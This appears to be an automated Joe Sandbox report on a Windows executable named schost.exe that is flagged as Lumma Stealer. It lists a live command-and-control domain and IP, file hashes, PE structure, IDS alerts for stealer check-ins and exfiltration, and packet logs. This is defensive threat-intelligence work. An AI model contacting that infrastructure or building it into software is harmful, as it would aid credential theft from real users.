⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fixxyplanterv.click	104.21.6.116	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://fixxyplanterv.click/api	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	dxdiag.exe, 00000003.00000003.1807359260.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://fixxyplanterv.click/i	dxdiag.exe, 00000003.00000002.1918547459.0000000000C38000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1917926869.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	dxdiag.exe, 00000003.00000003.1807359260.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://fixxyplanterv.click/	dxdiag.exe, 00000003.00000003.1917926869.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	true	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	dxdiag.exe, 00000003.00000003.1807359260.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	dxdiag.exe, 00000003.00000003.1782957877.0000000005207000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1761383236.0000000005207000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1761167237.0000000005253000.00000004.00000800.00020000.00000000.sdmp	false	high
https://fixxyplanterv.click/F9	dxdiag.exe, 00000003.00000003.1872362648.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1917537484.0000000000C72000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000002.1918584485.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	dxdiag.exe, 00000003.00000003.1782957877.0000000005207000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1761383236.0000000005207000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1761167237.0000000005253000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	dxdiag.exe, 00000003.00000003.1806541704.00000000052D7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://fixxyplanterv.click/pi	dxdiag.exe, 00000003.00000003.1854541927.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ac.ecosia.org/autocomplete?q=	dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://fixxyplanterv.click:443/api	dxdiag.exe, 00000003.00000003.1854619613.00000000051BE000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	dxdiag.exe, 00000003.00000003.1807359260.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	dxdiag.exe, 00000003.00000003.1807359260.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	dxdiag.exe, 00000003.00000003.1761383236.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.microsof	dxdiag.exe, 00000003.00000003.1761167237.0000000005255000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	dxdiag.exe, 00000003.00000003.1761383236.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	dxdiag.exe, 00000003.00000003.1806541704.00000000052D7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://fixxyplanterv.click/s	dxdiag.exe, 00000003.00000003.1872362648.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1854541927.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1859128313.0000000000C69000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	dxdiag.exe, 00000003.00000003.1807359260.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.6.116	fixxyplanterv.click	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579695
Start date and time:	2024-12-23 07:32:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	schost.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/0@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target schost.exe, PID 7316 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:33:10	API Interceptor	8x Sleep call for process: dxdiag.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	5RjjCWZAVv.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.86
	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	9pyUjy2elE.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	0gnHF2twcT.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.86
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
	tPSrcPbmRe.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse	172.67.157.254

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	5RjjCWZAVv.exe	Get hash	malicious	LummaC	Browse	104.21.6.116
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.6.116
	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	104.21.6.116
	9pyUjy2elE.exe	Get hash	malicious	LummaC	Browse	104.21.6.116
	0gnHF2twcT.exe	Get hash	malicious	LummaC	Browse	104.21.6.116
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.6.116
	ieD6yf6yc6.exe	Get hash	malicious	LummaC	Browse	104.21.6.116
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.6.116
	tPSrcPbmRe.exe	Get hash	malicious	LummaC	Browse	104.21.6.116
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse	104.21.6.116

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.767097954057833
TrID:	Win64 Executable GUI (202006/5) 91.80% Win64 Executable (generic) (12005/4) 5.46% Clipper DOS Executable (2020/12) 0.92% Generic Win/DOS Executable (2004/3) 0.91% DOS Executable Generic (2002/1) 0.91%
File name:	schost.exe
File size:	13'084'160 bytes
MD5:	4d82074854750fdba89d76624cc1e6f6
SHA1:	1cab8150956317418f64e67692072cac8472b75b
SHA256:	019cf1aad1f8d4f1b5dae3aa609b2b53cffc3c7894b58b9f0b225868aed7342d
SHA512:	068bd8c1db17c4def612618d463239f002e8f4712691a8fc9163215bdaa7bc5306aa861c396438c647e7b839c2c67c5709b25e0695e1baa668aa100310255f9d
SSDEEP:	196608:hL1kxR9F9KENR9N4bQOZNxVs0eb+CwRVu4fpbr7vOSPFjytXwt4TPnqunXcHF91v:uF3zv8Zrqb+CUuubX26jytnTPjnXcBv
TLSH:	6CD6D01D7EB7F9ECB07E503A861712338A77615C0A27A2F671A34650EE0B1A64FE3135
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....[g..........".................X].........@.............................0......g.....`........................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x1400d5d58
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x675B13DF [Thu Dec 12 16:48:31 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7bb4e8cef6a9f350a8f5dc71e7b3773c

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FE91060FEE0h
dec eax
add esp, 28h
jmp 00007FE91060FD4Fh
int3
int3
dec eax
mov dword ptr [esp+18h], ebx
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 30h
dec eax
mov eax, dword ptr [00B572C0h]
dec eax
mov ebx, 2DDFA232h
cdq
sub eax, dword ptr [eax]
add byte ptr [eax+3Bh], cl
ret
jne 00007FE91060FF46h
dec eax
and dword ptr [ebp+10h], 00000000h
dec eax
lea ecx, dword ptr [ebp+10h]
call dword ptr [00A1156Ah]
dec eax
mov eax, dword ptr [ebp+10h]
dec eax
mov dword ptr [ebp-10h], eax
call dword ptr [00A114ECh]
mov eax, eax
dec eax
xor dword ptr [ebp-10h], eax
call dword ptr [00A114D8h]
mov eax, eax
dec eax
lea ecx, dword ptr [ebp+18h]
dec eax
xor dword ptr [ebp-10h], eax
call dword ptr [00A115D0h]
mov eax, dword ptr [ebp+18h]
dec eax
lea ecx, dword ptr [ebp-10h]
dec eax
shl eax, 20h
dec eax
xor eax, dword ptr [ebp+18h]
dec eax
xor eax, dword ptr [ebp-10h]
dec eax
xor eax, ecx
dec eax
mov ecx, FFFFFFFFh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xae6ef8	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc38000	0x1b4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xc31000	0x32dc	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc39000	0x495f8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xae6520	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xadd6b0	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xae71c0	0x2a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xebf06	0xec000	f077e891ef49b29a01b23649d9933970	False	0.4997662043167373	data	6.569703029269052	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xed000	0x9fed94	0x9fee00	5ada00a0a9adad51da8233e9524a43b5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xaec000	0x144990	0x142000	fc6fa67ec1b735a686c48250ee98e703	False	0.2727498119662267	data	4.999685941787632	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xc31000	0x32dc	0x3400	f2e0fbca580d7b6a3dbffd995f27a909	False	0.5103665865384616	data	5.797187617935086	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.fptable	0xc35000	0x100	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xc36000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0xc37000	0x280	0x400	e8618c72264b53e612f4176d4c788223	False	0.2900390625	data	3.1924568878086177	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc38000	0x1b4	0x200	d8e2ab6591d51d1e028636851ebbd973	False	0.48828125	data	5.103911525545503	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc39000	0x495f8	0x49600	266714dd9a826a9200d118b70e4a7be2	False	0.014483736158432708	data	5.431539098658791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0xc38058	0x15b	ASCII text, with CRLF line terminators	English	United States	0.5446685878962536

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CreateFileW, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlsAlloc, FlsFree, FlsGetValue, FlsSetValue, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReleaseSRWLockExclusive, RtlCaptureContext, RtlLookupFunctionEntry, RtlPcToFileHeader, RtlUnwindEx, RtlVirtualUnwind, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, VirtualProtect, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T07:33:10.417997+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.6.116	443	TCP
2024-12-23T07:33:11.160165+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49731	104.21.6.116	443	TCP
2024-12-23T07:33:11.160165+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.6.116	443	TCP
2024-12-23T07:33:12.428698+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.6.116	443	TCP
2024-12-23T07:33:13.188279+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49732	104.21.6.116	443	TCP
2024-12-23T07:33:13.188279+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49732	104.21.6.116	443	TCP
2024-12-23T07:33:14.724193+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.6.116	443	TCP
2024-12-23T07:33:17.007472+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.6.116	443	TCP
2024-12-23T07:33:17.818275+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49734	104.21.6.116	443	TCP
2024-12-23T07:33:19.306895+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.6.116	443	TCP
2024-12-23T07:33:22.039255+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	104.21.6.116	443	TCP
2024-12-23T07:33:24.560618+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	104.21.6.116	443	TCP
2024-12-23T07:33:28.317755+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	104.21.6.116	443	TCP
2024-12-23T07:33:29.092914+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49742	104.21.6.116	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 07:33:09.184736967 CET	49731	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:09.184794903 CET	443	49731	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:09.184912920 CET	49731	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:09.189460039 CET	49731	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:09.189471960 CET	443	49731	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:10.417915106 CET	443	49731	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:10.417996883 CET	49731	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:10.421681881 CET	49731	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:10.421694040 CET	443	49731	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:10.422106028 CET	443	49731	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:10.463381052 CET	49731	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:10.482479095 CET	49731	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:10.482479095 CET	49731	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:10.482825041 CET	443	49731	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:11.160200119 CET	443	49731	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:11.160465956 CET	443	49731	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:11.160613060 CET	49731	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:11.162118912 CET	49731	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:11.162118912 CET	49731	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:11.162139893 CET	443	49731	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:11.162166119 CET	443	49731	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:11.210084915 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:11.210199118 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:11.210305929 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:11.210582972 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:11.210621119 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:12.428555012 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:12.428698063 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:12.462615967 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:12.462672949 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:12.463013887 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:12.481021881 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:12.481089115 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:12.481141090 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.188252926 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.188313961 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.188350916 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.188395023 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:13.188469887 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.188529968 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:13.188548088 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.197207928 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.197261095 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:13.197278023 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.205236912 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.205368042 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:13.205404043 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.260243893 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:13.260263920 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.307132959 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:13.307847977 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.353990078 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:13.353998899 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.383603096 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.383676052 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:13.383690119 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.383809090 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.383856058 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:13.383938074 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:13.383954048 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.383970022 CET	49732	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:13.383977890 CET	443	49732	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.508793116 CET	49733	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:13.508857012 CET	443	49733	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:13.508936882 CET	49733	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:13.509232044 CET	49733	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:13.509247065 CET	443	49733	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:14.724050045 CET	443	49733	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:14.724193096 CET	49733	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:14.725847960 CET	49733	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:14.725871086 CET	443	49733	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:14.726115942 CET	443	49733	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:14.727653980 CET	49733	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:14.727835894 CET	49733	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:14.727870941 CET	443	49733	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:14.727958918 CET	49733	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:14.727972031 CET	443	49733	104.21.6.116	192.168.2.4
